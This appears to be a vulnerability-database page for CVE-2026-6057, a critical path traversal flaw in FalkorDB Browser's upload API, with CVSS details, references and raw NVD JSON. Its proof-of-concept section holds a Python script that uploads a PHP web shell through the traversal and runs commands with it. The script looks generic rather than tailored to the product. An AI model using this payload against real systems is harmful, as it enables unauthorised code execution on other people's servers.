CVE-2026-6057

Description

FalkorDB Browser 1.9.3 contains an unauthenticated path traversal vulnerability in the file upload API that allows remote attackers to write arbitrary files and achieve remote code execution.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

FalkorDB Browser 1.9.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual target)
target_url = "http://vulnerable-host/api/upload"

# Malicious file with path traversal payload
# Example: Uploading a PHP shell to the web root
files = {
    'file': ('../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}

# Exploit attempt
response = requests.post(target_url, files=files)

if response.status_code == 200:
    print("[+] Exploit successful! File uploaded.")
    print("[+] Check your shell at: http://vulnerable-host/shell.php?cmd=whoami")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6057
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6057
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6057/
[4] VulDB https://vuldb.com/cve/CVE-2026-6057
[5] https://github.com/FalkorDB/falkordb-browser
[6] https://github.com/FalkorDB/falkordb-browser/pull/1611

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6057", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-04-10T10:16:04.547", "lastModified": "2026-05-19T15:35:04.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FalkorDB Browser 1.9.3 contains an unauthenticated path traversal vulnerability in the file upload API that allows remote attackers to write arbitrary files and achieve remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/FalkorDB/falkordb-browser", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}, {"url": "https://github.com/FalkorDB/falkordb-browser/pull/1611", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}